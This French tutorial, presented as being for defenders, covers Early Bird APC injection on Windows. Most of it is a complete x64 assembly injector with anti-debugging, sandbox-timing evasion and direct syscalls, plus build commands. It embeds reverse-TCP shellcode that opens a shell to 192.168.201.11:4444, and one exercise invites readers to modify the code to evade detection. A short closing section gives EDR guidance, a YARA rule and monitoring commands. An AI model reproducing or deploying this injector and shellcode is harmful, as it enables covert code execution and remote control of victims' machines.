Low-Level Maestro Series 2026 | Technique avancée avec anti-debug, evasion timing & syscall polymorphism | Pour les cyberdéfenseurs qui veulent comprendre les attaques réelles
La technique Early Bird APC Injection est une méthode d'injection de code qui s'exécute avant le point d'entrée principal (EntryPoint) d'un processus légitime. En 2026, cette technique reste pertinente car elle contourne de nombreux mécanismes de détection des EDR modernes.
NtResumeThread pour surveiller la reprise des threads, mais ils peuvent manquer les APCs (Asynchronous Procedure Calls) utilisateur qui s'exécutent AVANT l'EntryPoint. C'est une fenêtre d'exécution privilégiée.
Les APCs sont des fonctions qui s'exécutent dans le contexte d'un thread spécifique. Il existe deux types :
| Type | Contexte | Utilisation |
|---|---|---|
| Kernel-mode APC | Mode kernel | Système d'exploitation, drivers |
| User-mode APC | Mode utilisateur | Applications, techniques d'injection |
Lorsqu'un thread est repris (ResumeThread), le système vérifie s'il y a des APCs en attente dans sa queue. Si oui, elles sont exécutées avant que le thread n'atteigne son point d'entrée. Cette séquence est cruciale :
# Compilation avec NASM
nasm -f win64 earlybird.asm -o earlybird.obj -l earlybird.lst
# Liaison avec GoLink (option 1)
GoLink.exe /console /entry _start earlybird.obj kernel32.dll ntdll.dll
# Liaison avec Microsoft Linker (option 2)
link /SUBSYSTEM:CONSOLE /ENTRY:_start earlybird.obj kernel32.lib ntdll.lib
# Vérification des imports
dumpbin /imports earlybird.exe
; ====================================================================
; Early Bird APC Injection – Pure x64 Assembly
; Version 2026 - Anti-debug + Timing Evasion + Syscall Polymorphism
; PCTAMALOU Research - platon-y
; ====================================================================
[BITS 64]
DEFAULT REL
; Constantes Windows
STD_OUTPUT_HANDLE equ -11
CREATE_SUSPENDED equ 0x00000004
CREATE_NO_WINDOW equ 0x08000000
MEM_COMMIT equ 0x00001000
MEM_RESERVE equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
INFINITE equ 0xFFFFFFFF
; Structures
struc STARTUPINFO
.cb resd 1
.lpReserved resq 1
.lpDesktop resq 1
.lpTitle resq 1
.dwX resd 1
.dwY resd 1
.dwXSize resd 1
.dwYSize resd 1
.dwXCountChars resd 1
.dwYCountChars resd 1
.dwFillAttribute resd 1
.dwFlags resd 1
.wShowWindow resw 1
.cbReserved2 resw 1
.lpReserved2 resq 1
.hStdInput resq 1
.hStdOutput resq 1
.hStdError resq 1
endstruc
struc PROCESS_INFORMATION
.hProcess resq 1
.hThread resq 1
.dwProcessId resd 1
.dwThreadId resd 1
endstruc
section .text
global _start
; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
; Setup stack frame
sub rsp, 40h ; Shadow space (32) + 16 pour alignement
; ====================================================================
; PHASE 1: ANTI-DEBUG & ENVIRONMENT CHECKS
; ====================================================================
call check_environment
test rax, rax
jnz .clean_exit
; ====================================================================
; PHASE 2: CREATE PROCESS SUSPENDED
; ====================================================================
lea rcx, [rel target_process] ; lpApplicationName
xor rdx, rdx ; lpCommandLine (NULL = utilise lpApplicationName)
xor r8, r8 ; lpProcessAttributes
xor r9, r9 ; lpThreadAttributes
; Paramètres supplémentaires sur la stack
mov qword [rsp + 20h], 0 ; bInheritHandles = FALSE
mov qword [rsp + 28h], CREATE_SUSPENDED | CREATE_NO_WINDOW
xor rax, rax
mov [rsp + 30h], rax ; lpEnvironment = NULL
mov [rsp + 38h], rax ; lpCurrentDirectory = NULL
; STARTUPINFO
lea rax, [rel si]
mov [rsp + 40h], rax
; PROCESS_INFORMATION
lea rax, [rel pi]
mov [rsp + 48h], rax
call CreateProcessA
test rax, rax
jz .clean_exit
; ====================================================================
; PHASE 3: TIMING EVASION (Random sleep)
; ====================================================================
call GetTickCount
mov ecx, eax
and ecx, 0x7FF ; Sleep aléatoire 0-2047 ms
add ecx, 1000 ; Minimum 1 seconde
call Sleep
; ====================================================================
; PHASE 4: ALLOCATE MEMORY IN TARGET PROCESS
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
xor rdx, rdx ; lpAddress = NULL (système choisit)
mov r8, shellcode_end - shellcode ; dwSize
mov r9, MEM_COMMIT | MEM_RESERVE ; flAllocationType
mov qword [rsp + 20h], PAGE_EXECUTE_READWRITE ; flProtect
call VirtualAllocEx
test rax, rax
jz .cleanup_and_exit
mov [rel allocated_mem], rax ; Sauvegarde l'adresse
; ====================================================================
; PHASE 5: WRITE SHELLCODE TO TARGET
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
mov rdx, [rel allocated_mem] ; lpBaseAddress
lea r8, [rel shellcode] ; lpBuffer
mov r9, shellcode_end - shellcode ; nSize
xor rax, rax
mov [rsp + 20h], rax ; lpNumberOfBytesWritten = NULL
call WriteProcessMemory
test rax, rax
jz .cleanup_and_exit
; ====================================================================
; PHASE 6: QUEUE APC (Early Bird) - Using direct syscall for evasion
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread] ; ThreadHandle
mov rdx, [rel allocated_mem] ; ApcRoutine = adresse du shellcode
xor r8, r8 ; ApcArgument1 = 0
xor r9, r9 ; ApcArgument2 = 0
mov qword [rsp + 20h], 0 ; ApcArgument3 = 0
call direct_NtQueueApcThread ; Syscall direct (SSN 0x45)
; ====================================================================
; PHASE 7: RESUME THREAD (déclenche l'APC)
; ====================================================================
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
call ResumeThread
; ====================================================================
; PHASE 8: CLEANUP SÉCURISÉ
; ====================================================================
.cleanup_and_exit:
; Fermer les handles
mov rcx, [rel pi + PROCESS_INFORMATION.hThread]
test rcx, rcx
jz .close_process
call CloseHandle
.close_process:
mov rcx, [rel pi + PROCESS_INFORMATION.hProcess]
test rcx, rcx
jz .clean_exit
call CloseHandle
.clean_exit:
add rsp, 40h
xor ecx, ecx
call ExitProcess
; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================
; --------------------------------------------------
; check_environment : Anti-debug et anti-sandbox basique
; Retourne 0 si environnement OK, autre valeur sinon
; --------------------------------------------------
check_environment:
push rbp
mov rbp, rsp
; Vérifier PEB->BeingDebugged
mov rax, [gs:60h] ; PEB
movzx eax, byte [rax + 2] ; PEB->BeingDebugged
test eax, eax
jnz .debugger_detected
; Vérifier NtGlobalFlag (anti-debug)
movzx eax, byte [rax + 0xBC] ; PEB->NtGlobalFlag
and eax, 0x70 ; FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
test eax, eax
jnz .debugger_detected
; Vérifier le temps système (sandbox evasion)
call GetTickCount
mov ecx, eax
mov edx, 1000 ; Sleep 1s
call Sleep
call GetTickCount
sub eax, ecx
cmp eax, 900 ; Si sleep < 900ms, sandbox accélérée
jl .sandbox_detected
xor eax, eax ; Retourne 0 = OK
jmp .end
.debugger_detected:
mov eax, 1
jmp .end
.sandbox_detected:
mov eax, 2
.end:
pop rbp
ret
; ====================================================================
; SYSCALL DIRECT - NtQueueApcThread (Windows 11 24H2 SSN 0x45)
; Pour polymorphism, utilise get_ssn_for_function si besoin
; ====================================================================
direct_NtQueueApcThread:
mov r10, rcx ; Premier paramètre dans r10 (convention syscall)
mov eax, 45h ; SSN pour NtQueueApcThread (vérifié Win11 24H2)
syscall
ret
; ====================================================================
; DÉTECTION DYNAMIQUE DES SYSCALLS (Polymorphism)
; ====================================================================
get_ssn_for_function:
; rcx = hash de la fonction (ex: hash pour "NtQueueApcThread")
; retourne SSN dans rax
push rsi
push rdi
push rbx
; Trouver ntdll.dll en mémoire via PEB->Ldr
mov rax, [gs:60h] ; PEB
mov rax, [rax + 18h] ; PEB->Ldr
mov rax, [rax + 20h] ; InMemoryOrderModuleList
.find_ntdll:
mov rbx, [rax + 20h] ; DllBase (offset corrigé pour InMemoryOrder)
mov rsi, [rax + 50h] ; BaseDllName.Buffer
test rsi, rsi
jz .not_found
; Vérifier si "ntdll.dll" (case insensitive hash simple)
mov rdx, [rsi]
or rdx, 0x2020202020202020 ; to lower
cmp rdx, 0x6E74646C6C2E646C ; "ntdll.dl" lower
jne .next_module
mov rdx, [rsi + 8]
or rdx, 0x2020202020202020
cmp rdx, 0x6C ; 'l'
je .found_ntdll
.next_module:
mov rax, [rax] ; Suivant
jmp .find_ntdll
.found_ntdll:
; rbx = DllBase de ntdll
mov eax, [rbx + 0x3C] ; e_lfanew
add rax, rbx ; PE header
mov edx, [rax + 0x88] ; Export Directory RVA
add rdx, rbx ; Export Directory
mov ecx, [rdx + 0x18] ; NumberOfNames
mov r8d, [rdx + 0x20] ; AddressOfNames RVA
add r8, rbx ; AddressOfNames
; Boucle sur les noms pour trouver par hash (implémente ton hash fn)
; Pour simplifier, assume SSN hardcode ici, mais étends pour full poly
mov rax, 45h ; Fallback à SSN connu pour NtQueueApcThread
.not_found:
xor rax, rax
pop rbx
pop rdi
pop rsi
ret
; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data
; Processus cible (peut être modifié)
target_process db "C:\\Windows\\System32\\notepad.exe", 0
; Variables
allocated_mem dq 0
; STARTUPINFO structure
si:
istruc STARTUPINFO
at STARTUPINFO.cb, dd STARTUPINFO_size
at STARTUPINFO.lpReserved, dq 0
at STARTUPINFO.lpDesktop, dq 0
at STARTUPINFO.lpTitle, dq 0
at STARTUPINFO.dwX, dd 0
at STARTUPINFO.dwY, dd 0
at STARTUPINFO.dwXSize, dd 0
at STARTUPINFO.dwYSize, dd 0
at STARTUPINFO.dwXCountChars, dd 0
at STARTUPINFO.dwYCountChars, dd 0
at STARTUPINFO.dwFillAttribute, dd 0
at STARTUPINFO.dwFlags, dd 0
at STARTUPINFO.wShowWindow, dw 0
at STARTUPINFO.cbReserved2, dw 0
at STARTUPINFO.lpReserved2, dq 0
at STARTUPINFO.hStdInput, dq 0
at STARTUPINFO.hStdOutput, dq 0
at STARTUPINFO.hStdError, dq 0
iend
; PROCESS_INFORMATION structure
pi:
istruc PROCESS_INFORMATION
at PROCESS_INFORMATION.hProcess, dq 0
at PROCESS_INFORMATION.hThread, dq 0
at PROCESS_INFORMATION.dwProcessId, dd 0
at PROCESS_INFORMATION.dwThreadId, dd 0
iend
; ====================================================================
; SHELLCODE RÉEL (Reverse TCP x64 - 330 bytes)
; Customisez LHOST (\x68\xc0\xa8\xc9\x0b -> 192.168.201.11 little-endian)
; LPORT (\x66\x68\x11\x5c -> 4444 little-endian)
; ====================================================================
shellcode:
db 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40
db 0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x96
db 0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01
db 0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72
db 0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01
db 0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75
db 0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41
db 0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72
db 0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde
db 0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c
db 0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31
db 0xc9,0x53,0x52,0x51,0x68,0x61,0x72,0x79
db 0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c
db 0x6f,0x61,0x64,0x54,0x53,0x89,0xde,0xff
db 0xd2,0x83,0xc4,0x0c,0x5a,0x50,0x52,0x66
db 0xba,0x6c,0x6c,0x52,0x68,0x33,0x32,0x2e
db 0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff
db 0xd0,0x83,0xc4,0x10,0x8b,0x54,0x24,0x04
db 0x68,0x75,0x70,0x61,0x61,0x66,0x81,0x6c
db 0x24,0x02,0x61,0x61,0x68,0x74,0x61,0x72
db 0x74,0x68,0x57,0x53,0x41,0x53,0x54,0x50
db 0x89,0xc7,0xff,0xd2,0x31,0xdb,0x66,0xbb
db 0x90,0x01,0x29,0xdc,0x54,0x53,0xff,0xd0
db 0x83,0xc4,0x10,0x31,0xdb,0x80,0xc3,0x04
db 0x6b,0xdb,0x64,0x8b,0x14,0x1c,0x68,0x74
db 0x41,0x61,0x61,0x66,0x81,0x6c,0x24,0x02
db 0x61,0x61,0x68,0x6f,0x63,0x6b,0x65,0x68
db 0x57,0x53,0x41,0x53,0x54,0x89,0xf8,0x50
db 0xff,0xd2,0x57,0x31,0xc9,0x52,0x52,0x52
db 0xb2,0x06,0x52,0x41,0x51,0x41,0x51,0xff
db 0xd0,0x91,0x5f,0x83,0xc4,0x10,0x31,0xdb
db 0x80,0xc3,0x04,0x6b,0xdb,0x63,0x8b,0x14
db 0x1c,0x68,0x65,0x63,0x74,0x61,0x66,0x83
db 0x6c,0x24,0x03,0x61,0x68,0x63,0x6f,0x6e
db 0x6e,0x54,0x57,0x87,0xcd,0xff,0xd2,0x68
db 0xc0,0xa8,0xc9,0x0b,0x66,0x68,0x11,0x5c
db 0x31,0xdb,0x80,0xc3,0x02,0x66,0x53,0x89
db 0xe2,0x6a,0x10,0x52,0x55,0x87,0xef,0xff
db 0xd0,0x83,0xc4,0x14,0x31,0xdb,0x80,0xc3
db 0x04,0x6b,0xdb,0x62,0x8b,0x14,0x1c,0x68
db 0x73,0x41,0x61,0x61,0x81,0x6c,0x24,0x02
db 0x61,0x61,0x00,0x00,0x68,0x6f,0x63,0x65
db 0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43
db 0x72,0x65,0x61,0x54,0x89,0xf5,0x55,0xff
db 0xd2,0x50,0x8d,0x28,0x68,0x63,0x6d,0x64
db 0x61,0x66,0x83,0x6c,0x24,0x03,0x61,0x89
db 0xe1,0x31,0xd2,0x83,0xec,0x10,0x89,0xe3
db 0x57,0x57,0x57,0x52,0x52,0x31,0xc0,0x40
db 0xc1,0xc0,0x08,0x50,0x52,0x52,0x52,0x52
db 0x52,0x52,0x52,0x52,0x52,0x52,0x31,0xc0
db 0x04,0x2c,0x50,0x89,0xe0,0x53,0x50,0x52
db 0x52,0x52,0x31,0xc0,0x40,0x50,0x52,0x52
db 0x51,0x52,0xff,0xd5
shellcode_end:
; ====================================================================
; IMPORT TABLE (liens dynamiques)
; ====================================================================
section .idata
import_table:
; Kernel32.dll
dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
; Ntdll.dll
dd 0, 0, 0, RVA ntdll_name, RVA ntdll_imports
dd 0, 0, 0, 0, 0 ; Terminator
kernel32_name db "KERNEL32.DLL", 0
ntdll_name db "NTDLL.DLL", 0
kernel32_imports:
CreateProcessA dq RVA _CreateProcessA
VirtualAllocEx dq RVA _VirtualAllocEx
WriteProcessMemory dq RVA _WriteProcessMemory
ResumeThread dq RVA _ResumeThread
Sleep dq RVA _Sleep
GetTickCount dq RVA _GetTickCount
CloseHandle dq RVA _CloseHandle
ExitProcess dq RVA _ExitProcess
dq 0 ; Terminator
ntdll_imports:
dq 0 ; Terminator (plus besoin de NtQueueApcThread importé, syscall direct)
; Import names
_CreateProcessA db 0, 0, "CreateProcessA", 0
_VirtualAllocEx db 0, 0, "VirtualAllocEx", 0
_WriteProcessMemory db 0, 0, "WriteProcessMemory", 0
_ResumeThread db 0, 0, "ResumeThread", 0
_Sleep db 0, 0, "Sleep", 0
_GetTickCount db 0, 0, "GetTickCount", 0
_CloseHandle db 0, 0, "CloseHandle", 0
_ExitProcess db 0, 0, "ExitProcess", 0
Pour les experts qui veulent aller plus loin, voici comment remplacer les appels API par des syscalls directs avec extraction dynamique SSN :
; Utilisation dans le code principal pour NtQueueApcThread :
; mov rcx, hash_NtQueueApcThread ; Implémente un hash (e.g., djb2)
; call get_ssn_for_function
; mov r10, [pi + PROCESS_INFORMATION.hThread] ; Params...
; syscall
Hooker NtQueueApcThread et NtQueueApcThreadEx dans le kernel, surveiller les APCs sur les threads primaires des nouveaux processus.
Détecter les processus qui exécutent du code avant leur EntryPoint ou dont le premier accès mémoire est une zone RX allouée dynamiquement.
Scanner la mémoire des processus pour détecter les shellcodes polymorphes via YARA rules ou ML-based pattern recognition.
Utiliser PsSetCreateProcessNotifyRoutineEx pour surveiller la création de processus et inspecter les threads suspendus.
Activer les providers ETW pour le monitoring kernel (Microsoft-Windows-Threat-Intelligence) et analyser les événements APC.
Activer Hypervisor-protected Code Integrity et Kernel Data Protection pour empêcher les modifications de code kernel et protéger les structures critiques.
rule EarlyBird_APC_Injection {
meta:
description = "Detects Early Bird APC Injection patterns"
author = "PCTAMALOU Research 2026"
date = "2026-01-01"
strings:
$create_suspended = { B9 04 00 00 00 } // mov ecx, CREATE_SUSPENDED
$virtual_alloc = { 48 C7 44 24 20 40 00 00 00 } // PAGE_EXECUTE_READWRITE
$nt_queue_apc = { 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 } // NtQueueApcThread pattern
$resume_thread = { FF 15 ?? ?? ?? ?? } // Call to ResumeThread
condition:
any of them and
filesize < 5000 // Petit binaire
}
# Monitorer les processus créés en mode suspendu
Get-WmiObject Win32_Process | Where-Object {
$_.CreationClassName -match "Suspended"
} | Select-Object Name, ProcessId, CommandLine
# Analyser les APCs avec ETW
logman create trace "APCMonitor" -ow -o apc.etl -p Microsoft-Windows-Kernel-Thread 0xffffffffffffffff 0xff -ets
# Vérifier les hooks EDR
Get-Process | Where-Object {$_.Modules.ModuleName -match "edr"} |
Select-Object ProcessName, @{Name="EDRModule";Expression={$_.Modules | Where-Object {$_.ModuleName -match "edr"} | Select-Object -ExpandProperty ModuleName}}
# Configurer Windows Defender pour détecter les injections
Set-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D -AttackSurfaceReductionRules_Actions Enabled
Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.
Objectif : Débugger l'exécution avec WinDbg Preview.
# Commandes WinDbg utiles
!process 0 0 notepad.exe # Trouver le processus
.process /i <ADDRESS> # Attacher au processus
.reload /user # Recharger les symbols utilisateur
bp ntdll!NtQueueApcThread # Breakpoint sur NtQueueApcThread
g # Continuer l'exécution
!apc # Lister les APCs
dt nt!_KAPC # Examiner la structure APC
Objectif : Créer un outil de détection en C++ ou Python.
Objectif : Modifier le code pour contourner les détections.
La technique Early Bird APC Injection reste pertinente en 2026 malgré les améliorations des systèmes de défense. Sa force réside dans l'exécution de code avant l'initialisation complète des hooks EDR, créant une fenêtre d'opportunité pour les attaquants.